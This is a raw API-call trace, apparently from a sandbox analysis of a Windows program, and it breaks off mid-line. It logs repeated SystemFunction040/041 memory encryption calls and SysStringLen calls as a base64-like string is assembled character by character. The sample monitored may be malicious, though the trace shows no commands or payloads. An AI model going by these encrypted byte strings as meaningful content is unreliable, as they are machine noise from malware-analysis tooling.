SystemFunction041 (in: Memory=0x8e5f22c, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x8e5f22c) returned 0x0 [0133.744] SysStringLen (param_1="YWM1OTEwYၺ೮䏍뇟㫃鄏") returned 0x10 [0133.744] SystemFunction040 (in: Memory=0x8e5f22c, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x8e5f22c) returned 0x0 [0133.744] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xdcfe\x72ec\xf1cf\x85a7\xbfd0\x16d5\xe621\x93a2") returned 0x10 [0133.744] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xdcfe\x72ec\xf1cf\x85a7\xbfd0\x16d5\xe621\x93a2") returned 0x10 [0133.744] SystemFunction041 (in: Memory=0x8e5f22c, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x8e5f22c) returned 0x0 [0133.744] SysStringLen (param_1="YWM1OTEwYW೮䏍뇟㫃鄏") returned 0x10 [0133.744] SystemFunction040 (in: Memory=0x8e5f22c, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x8e5f22c) returned 0x0 [0133.744] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xcef2\xa6c7\xd746\xe957\x3ef3\x5872\xb88a\xad48") returned 0x10 [0133.744] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xcef2\xa6c7\xd746\xe957\x3ef3\x5872\xb88a\xad48") returned 0x10 [0133.744] SystemFunction041 (in: Memory=0x8e5f22c, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x8e5f22c) returned 0x0 [0133.744] SysStringLen (param_1="YWM1OTEwYWQ೮䏍뇟㫃鄏") returned 0x10 [0133.744] SystemFunction040 (in: Memory=0x8e5f22c, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x8e5f22c) returned 0x0 [0133.744] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\x62e3\xd42b\xa577\xd150\x2c99\x571a\xcba5\x6dcc") returned 0x10 [0133.744] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\x62e3\xd42b\xa577\xd150\x2c99\x571a\xcba5\x6dcc") returned 0x10 [0133.744] SystemFunction041 (in: Memory=0x8e5f22c, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x8e5f22c) returned 0x0 [0133.744] SysStringLen (param_1="YWM1OTEwYWQ4䏍뇟㫃鄏") returned 0x10 [0133.744] SystemFunction040 (in: Memory=0x8e5f22c, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x8e5f22c) returned 0x0 [0133.744] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\x4231\x703b\xcf8d\xc9dc\xc02d\x7463\x9ff9\x4820") returned 0x10 [0133.744] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\x4231\x703b\xcf8d\xc9dc\xc02d\x7463\x9ff9\x4820") returned 0x10 [0133.744] SystemFunction041 (in: Memory=0x8e5f22c, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x8e5f22c) returned 0x0 [0133.744] SysStringLen (param_1="YWM1OTEwYWQ4Z뇟㫃鄏") returned 0x10 [0133.744] SystemFunction040 (in: Memory=0x8e5f22c, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x8e5f22c) returned 0x0 [0133.744] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\x2cff\xd5e2\x9f68\x7e8b\x32fa\x6471\x7975\x2c00") returned 0x10 [0133.744] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\x2cff\xd5e2\x9f68\x7e8b\x32fa\x6471\x7975\x2c00") returned 0x10 [0133.744] SystemFunction041 (in: Memory=0x8e5f22c, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x8e5f22c) returned 0x0 [0133.744] SysStringLen (param_1="YWM1OTEwYWQ4ZT㫃鄏") returned 0x10 [0133.744] SystemFunction040 (in: Memory=0x8e5f22c, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x8e5f22c) returned 0x0 [0133.744] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\x3df\xd244\xa8e3\x55c4\xf620\xe54d\xf064\x81d2") returned 0x10 [0133.744] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\x3df\xd244\xa8e3\x55c4\xf620\xe54d\xf064\x81d2") returned 0x10 [0133.744] SystemFunction041 (in: Memory=0x8e5f22c, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x8e5f22c) returned 0x0 [0133.745] SysStringLen (param_1="YWM1OTEwYWQ4ZTI鄏") returned 0x10 [0133.745] SystemFunction040 (in: Memory=0x8e5f22c, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x8e5f22c) returned 0x0 [0133.745] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\x879a\x7653\x5503\x7411\x9ee7\x19b3\xd3b7\x7d70") returned 0x10 [0133.745] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\x879a\x7653\x5503\x7411\x9ee7\x19b3\xd3b7\x7d70") returned 0x10 [0133.745] SystemFunction041 (in: Memory=0x8e5f22c, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x8e5f22c) returned 0x0 [0133.745] SysStringLen (param_1="YWM1OTEwYWQ4ZTIz") returned 0x10 [0133.745] SystemFunction040 (in: Memory=0x8e5f22c, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x8e5f22c) returned 0x0 [0133.745] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372") returned 0x10 [0133.745] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372") returned 0x10 [0133.745] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372") returned 0x10 [0133.745] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372") returned 0x18 [0133.745] SystemFunction041 (in: Memory=0x8e8852c, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x8e8852c) returned 0x0 [0133.745] SysStringLen (param_1="YWM1OTEwYWQ4ZTIzNEꂰ㓋뺍᳧玡") returned 0x18 [0133.745] SystemFunction040 (in: Memory=0x8e8852c, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x8e8852c) returned 0x0 [0133.745] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x383f\x20d8\xebfe\xd582\x13d\xc673\xcbfc\x296a") returned 0x18 [0133.745] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x383f\x20d8\xebfe\xd582\x13d\xc673\xcbfc\x296a") returned 0x18 [0133.745] SystemFunction041 (in: Memory=0x8e8852c, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x8e8852c) returned 0x0 [0133.745] SysStringLen (param_1="YWM1OTEwYWQ4ZTIzNGꂰ㓋뺍᳧玡") returned 0x18 [0133.745] SystemFunction040 (in: Memory=0x8e8852c, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x8e8852c) returned 0x0 [0133.745] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\xd39c\x87f9\xe53\xbc93\x8e34\x136b\x9f58\xb9bd") returned 0x18 [0133.745] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\xd39c\x87f9\xe53\xbc93\x8e34\x136b\x9f58\xb9bd") returned 0x18 [0133.745] SystemFunction041 (in: Memory=0x8e8852c, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x8e8852c) returned 0x0 [0133.745] SysStringLen (param_1="YWM1OTEwYWQ4ZTIzNGN㓋뺍᳧玡") returned 0x18 [0133.745] SystemFunction040 (in: Memory=0x8e8852c, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x8e8852c) returned 0x0 [0133.745] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x83d\x526e\xa67f\x8365\xbc02\xe08d\xf33c\x953") returned 0x18 [0133.745] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x83d\x526e\xa67f\x8365\xbc02\xe08d\xf33c\x953") returned 0x18 [0133.745] SystemFunction041 (in: Memory=0x8e8852c, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x8e8852c) returned 0x0 [0133.745] SysStringLen (param_1="YWM1OTEwYWQ4ZTIzNGNh㓋뺍᳧玡") returned 0x18 [0133.745] SystemFunction040 (in: Memory=0x8e8852c, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x8e8852c) returned 0x0 [0133.745] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\xe480\xc5f3\xb436\x41c3\xd93\xbdd2\xde23\xa39e") returned 0x18 [0133.745] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\xe480\xc5f3\xb436\x41c3\xd93\xbdd2\xde23\xa39e") returned 0x18 [0133.745] SystemFunction041 (in: Memory=0x8e8852c, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x8e8852c) returned 0x0 [0133.746] SysStringLen (param_1="YWM1OTEwYWQ4ZTIzNGNhM뺍᳧玡") returned 0x18 [0133.746] SystemFunction040 (in: Memory=0x8e8852c, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x8e8852c) returned 0x0 [0133.746] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x633a\xb9b0\x72e7\x9e3c\x6f11\xd537\x2a29\x6fe1") returned 0x18 [0133.746] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x633a\xb9b0\x72e7\x9e3c\x6f11\xd537\x2a29\x6fe1") returned 0x18 [0133.746] SystemFunction041 (in: Memory=0x8e8852c, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x8e8852c) returned 0x0 [0133.746] SysStringLen (param_1="YWM1OTEwYWQ4ZTIzNGNhMj᳧玡") returned 0x18 [0133.746] SystemFunction040 (in: Memory=0x8e8852c, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x8e8852c) returned 0x0 [0133.746] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\xc423\x6ee5\x557f\xd829\x23d9\xad08\xf786\x1c34") returned 0x18 [0133.746] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\xc423\x6ee5\x557f\xd829\x23d9\xad08\xf786\x1c34") returned 0x18 [0133.746] SystemFunction041 (in: Memory=0x8e8852c, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x8e8852c) returned 0x0 [0133.746] SysStringLen (param_1="YWM1OTEwYWQ4ZTIzNGNhMjF玡") returned 0x18 [0133.746] SystemFunction040 (in: Memory=0x8e8852c, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x8e8852c) returned 0x0 [0133.746] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x2042\x1a1a\xd6bd\xab7b\xf565\x9e6b\x5b05\x91b6") returned 0x18 [0133.746] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x2042\x1a1a\xd6bd\xab7b\xf565\x9e6b\x5b05\x91b6") returned 0x18 [0133.746] SystemFunction041 (in: Memory=0x8e8852c, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x8e8852c) returned 0x0 [0133.746] SysStringLen (param_1="YWM1OTEwYWQ4ZTIzNGNhMjFm") returned 0x18 [0133.746] SystemFunction040 (in: Memory=0x8e8852c, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x8e8852c) returned 0x0 [0133.746] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e") returned 0x18 [0133.746] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e") returned 0x18 [0133.746] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e") returned 0x18 [0133.746] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e") returned 0x20 [0133.746] SystemFunction041 (in: Memory=0x43b19c4, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x43b19c4) returned 0x0 [0133.746] SysStringLen (param_1="YWM1OTEwYWQ4ZTIzNGNhMjFmN쿼沓ꇑ੎촢럝") returned 0x20 [0133.746] SystemFunction040 (in: Memory=0x43b19c4, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x43b19c4) returned 0x0 [0133.746] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e\xda35\xd992\xbcfc\x6e8b\x5222\xb2df\xdd35\xd819") returned 0x20 [0133.746] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e\xda35\xd992\xbcfc\x6e8b\x5222\xb2df\xdd35\xd819") returned 0x20 [0133.746] SystemFunction041 (in: Memory=0x43b19c4, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x43b19c4) returned 0x0 [0133.746] SysStringLen (param_1="YWM1OTEwYWQ4ZTIzNGNhMjFmNm쿼沓ꇑ੎촢럝") returned 0x20 [0133.746] SystemFunction040 (in: Memory=0x43b19c4, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x43b19c4) returned 0x0 [0133.747] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e\xee22\xd485\xf0b3\xe153\xc911\xda14\xaea\xb7cf") returned 0x20 [0133.747] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e\xee22\xd485\xf0b3\xe153\xc911\xda14\xaea\xb7cf") returned 0x20 [0133.747] SystemFunction041 (in: Memory=0x43b19c4, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x43b19c4) returned 0x0 [0133.747] SysStringLen (param_1="YWM1OTEwYWQ4ZTIzNGNhMjFmNmI沓ꇑ੎촢럝") returned 0x20 [0133.747] SystemFunction040 (in: Memory=0x43b19c4, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x43b19c4) returned 0x0 [0133.747] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e\xb291\x3103\xb40b\xe805\xdd6\xf594\xa41c\xc995") returned 0x20 [0133.747] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e\xb291\x3103\xb40b\xe805\xdd6\xf594\xa41c\xc995") returned 0x20 [0133.747] SystemFunction041 (in: Memory=0x43b19c4, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x43b19c4) returned 0x0 [0133.747] SysStringLen (param_1="YWM1OTEwYWQ4ZTIzNGNhMjFmNmI3ꇑ੎촢럝") returned 0x20 [0133.747] SystemFunction040 (in: Memory=0x43b19c4, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x43b19c4) returned 0x0 [0133.747] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e\x3fe2\xb16b\x8322\xba11\x2539\xafa8\xedc3\x3f3e") returned 0x20 [0133.747] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e\x3fe2\xb16b\x8322\xba11\x2539\xafa8\xedc3\x3f3e") returned 0x20 [0133.747] SystemFunction041 (in: Memory=0x43b19c4, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x43b19c4) returned 0x0 [0133.747] SysStringLen (param_1="YWM1OTEwYWQ4ZTIzNGNhMjFmNmI3Y੎촢럝") returned 0x20 [0133.747] SystemFunction040 (in: Memory=0x43b19c4, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x43b19c4) returned 0x0 [0133.747] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e\x447e\x9a10\x265a\x4ce9\xeb63\x3251\x2a42\x8e02") returned 0x20 [0133.747] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e\x447e\x9a10\x265a\x4ce9\xeb63\x3251\x2a42\x8e02") returned 0x20 [0133.747] SystemFunction041 (in: Memory=0x43b19c4, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x43b19c4) returned 0x0 [0133.747] SysStringLen (param_1="YWM1OTEwYWQ4ZTIzNGNhMjFmNmI3YT촢럝") returned 0x20 [0133.747] SystemFunction040 (in: Memory=0x43b19c4, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x43b19c4) returned 0x0 [0133.747] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e\x596f\x1382\xebca\x2475\xe9a9\xbb9a\x57b1\x5b51") returned 0x20 [0133.747] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e\x596f\x1382\xebca\x2475\xe9a9\xbb9a\x57b1\x5b51") returned 0x20 [0133.747] SystemFunction041 (in: Memory=0x43b19c4, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x43b19c4) returned 0x0 [0133.747] SysStringLen (param_1="YWM1OTEwYWQ4ZTIzNGNhMjFmNmI3YTZ럝") returned 0x20 [0133.747] SystemFunction040 (in: Memory=0x43b19c4, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x43b19c4) returned 0x0 [0133.747] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e\x6120\xe211\x4924\xf329\x5954\x1650\x625b\xd5ef") returned 0x20 [0133.747] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e\x6120\xe211\x4924\xf329\x5954\x1650\x625b\xd5ef") returned 0x20 [0133.747] SystemFunction041 (in: Memory=0x43b19c4, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x43b19c4) returned 0x0 [0133.747] SysStringLen (param_1="YWM1OTEwYWQ4ZTIzNGNhMjFmNmI3YTZl") returned 0x20 [0133.747] SystemFunction040 (in: Memory=0x43b19c4, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x43b19c4) returned 0x0 [0133.747] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e\xdaf9\x1624\x1497\xf298\xd7bd\xb9f0\xa7eb\x2498") returned 0x20 [0133.748] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e\xdaf9\x1624\x1497\xf298\xd7bd\xb9f0\xa7eb\x2498") returned 0x20 [0133.748] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e\xdaf9\x1624\x1497\xf298\xd7bd\xb9f0\xa7eb\x2498") returned 0x20 [0133.748] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e\xdaf9\x1624\x1497\xf298\xd7bd\xb9f0\xa7eb\x2498") returned 0x28 [0133.748] SystemFunction041 (in: Memory=0x438329c, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x438329c) returned 0x0 [0133.748] SysStringLen (param_1="YWM1OTEwYWQ4ZTIzNGNhMjFmNmI3YTZlYᘎ柟፽굥ᑋ") returned 0x28 [0133.748] SystemFunction040 (in: Memory=0x438329c, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x438329c) returned 0x0 [0133.748] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e\xdaf9\x1624\x1497\xf298\xd7bd\xb9f0\xa7eb\x2498\x440c\x1abc\x5d33\x886\x613f\xed12\x8dce\x52d5") returned 0x28 [0133.748] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e\xdaf9\x1624\x1497\xf298\xd7bd\xb9f0\xa7eb\x2498\x440c\x1abc\x5d33\x886\x613f\xed12\x8dce\x52d5") returned 0x28 [0133.748] SystemFunction041 (in: Memory=0x438329c, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x438329c) returned 0x0 [0133.748] SysStringLen (param_1="YWM1OTEwYWQ4ZTIzNGNhMjFmNmI3YTZlYm柟፽굥ᑋ") returned 0x28 [0133.748] SystemFunction040 (in: Memory=0x438329c, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x438329c) returned 0x0 [0133.748] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e\xdaf9\x1624\x1497\xf298\xd7bd\xb9f0\xa7eb\x2498\xf580\x4314\xb5cd\xf10a\x3db6\x7e34\x4979\xc8b9") returned 0x28 [0133.748] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e\xdaf9\x1624\x1497\xf298\xd7bd\xb9f0\xa7eb\x2498\xf580\x4314\xb5cd\xf10a\x3db6\x7e34\x4979\xc8b9") returned 0x28 [0133.748] SystemFunction041 (in: Memory=0x438329c, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x438329c) returned 0x0 [0133.748] SysStringLen (param_1="YWM1OTEwYWQ4ZTIzNGNhMjFmNmI3YTZlYmY፽굥ᑋ") returned 0x28 [0133.748] SystemFunction040 (in: Memory=0x438329c, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x438329c) returned 0x0 [0133.748] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e\xdaf9\x1624\x1497\xf298\xd7bd\xb9f0\xa7eb\x2498\x1619\x82d\x1bf3\x12ab\x9333\x75d9\x3b3a\xe1e8") returned 0x28 [0133.748] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e\xdaf9\x1624\x1497\xf298\xd7bd\xb9f0\xa7eb\x2498\x1619\x82d\x1bf3\x12ab\x9333\x75d9\x3b3a\xe1e8") returned 0x28 [0133.748] SystemFunction041 (in: Memory=0x438329c, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x438329c) returned 0x0 [0133.748] SysStringLen (param_1="YWM1OTEwYWQ4ZTIzNGNhMjFmNmI3YTZlYmY0፽굥ᑋ") returned 0x28 [0133.748] SystemFunction040 (in: Memory=0x438329c, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x438329c) returned 0x0 [0133.748] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e\xdaf9\x1624\x1497\xf298\xd7bd\xb9f0\xa7eb\x2498\x2d34\x22d\x1f9b\x41c3\x7a3b\xdfbe\x223c\xc5f3") returned 0x28 [0133.748] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e\xdaf9\x1624\x1497\xf298\xd7bd\xb9f0\xa7eb\x2498\x2d34\x22d\x1f9b\x41c3\x7a3b\xdfbe\x223c\xc5f3") returned 0x28 [0133.748] SystemFunction041 (in: Memory=0x438329c, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x438329c) returned 0x0 [0133.748] SysStringLen 